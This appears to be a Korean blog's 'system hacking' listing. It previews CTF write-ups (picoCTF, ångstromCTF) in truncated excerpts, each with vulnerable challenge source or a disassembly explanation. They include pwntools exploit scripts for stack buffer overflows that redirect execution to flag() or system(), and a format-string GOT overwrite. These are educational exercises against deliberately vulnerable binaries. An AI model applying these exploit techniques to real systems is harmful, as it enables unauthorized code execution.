목록system hacking (69)
ii4gsp
#include #include #include #include #include #include #define BUFFSIZE 64 #define FLAGSIZE 64 bool win1 = false; bool win2 = false; void win_fn1(unsigned int arg_check) { if (arg_check == 0xDEADBEEF) { win1 = true; } } void win_fn2(unsigned int arg_check1, unsigned int arg_check2, unsigned int arg_check3) { if (win1 && \ arg_check1 == 0xBAADCAFE && \ arg_check2 == 0xCAFEBABE && \ arg_check3 == 0..
64bit 바이너리이다. main()함수에서 vuln()함수를 호출한다. vuln()함수에서 gets()함수로 v1에 입력을받는다. v1은 rbp-40에 위치한다. v1 ~ sfp = 64 v1 ~ ret = 72 72byte dummy를 주고 ret를 flag()함수로 조작해주면 된다. from pwn import * s = ssh(host = '2019shell1.picoctf.com', user = '', password = '') s.set_working_directory('/problems/newoverflow-1_4_3fc8f7e1553d8d36ded1be37c306f3a4') p = s.process('./vuln') e = ELF('/home/ii4gsp/picoCTF/vuln') flag..
보호되어 있는 글입니다.
그냥 실행하니 플래그가 나온다. Flag: picoCTF{g3t_r3adY_2_r3v3r53}
#include #include #include #include #include #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter your shellcode:"); vuln(buf);..
main()함수와 flag()함수가 있다. main()함수에서 fgets()함수로 s에 60만큼 입력받는다. 버퍼오버플로우는 불가능하다. 밑에 printf()함수에서 FSB 취약점이 일어난다. from pwn import * r = remote('shell.actf.co', 19011) e = ELF('/home/ii4gsp/purchases') printf_got = e.got['printf'] flag = e.symbols['flag'] flag = str(flag) payload = '' payload += '%' + flag + 'x%10$ln' r.recvuntil('? ') r.sendline(payload.ljust(16) + p64(printf_got)[:3]) r.interactive()..
main()함수에서 scanf()함수로 v4에 입력을받고 1을 입력하면 gets()함수를 실행한다. flag()함수에는 if문을 맞춰주면 flag를 출력해준다. 그냥 main()함수에서 gets()함수를 실행시켜 v5를 오버플로우 시키고 ret를 system()함수와 인자를 전달하면 flag가 출력될것 이다. system()함수의 plt는 0x401050이고, 인자는 0x401231이다. from pwn import * r = remote('shell.actf.co', 19400) r.sendline('1') payload = '' payload += '\x90' * 56 payload += p64(0x401050) payload += p64(0x401231) r.sendline(payload) r.in..
간단한 문제이다. main()함수에서 create_aquarium()함수를 호출한다. create_aquarium()함수에서 scanf()함수로 6번 각 변수에 입력을받고 gets()함수로 변수 dest에 입력을받고, strcpy()함수로 dest에 입력한 내용을 src에 복사를 한다. src를 오버플로우 일으켜 ret를 flag()함수로 조작하면 된다. from pwn import * p = remote('shell.actf.co', 19305) e = ELF('/home/ii4gsp/aquarium') flag = e.symbols['flag'] p.sendlineafter(': ', '1') p.sendlineafter(': ', '1') p.sendlineafter(': ', '1') p.send..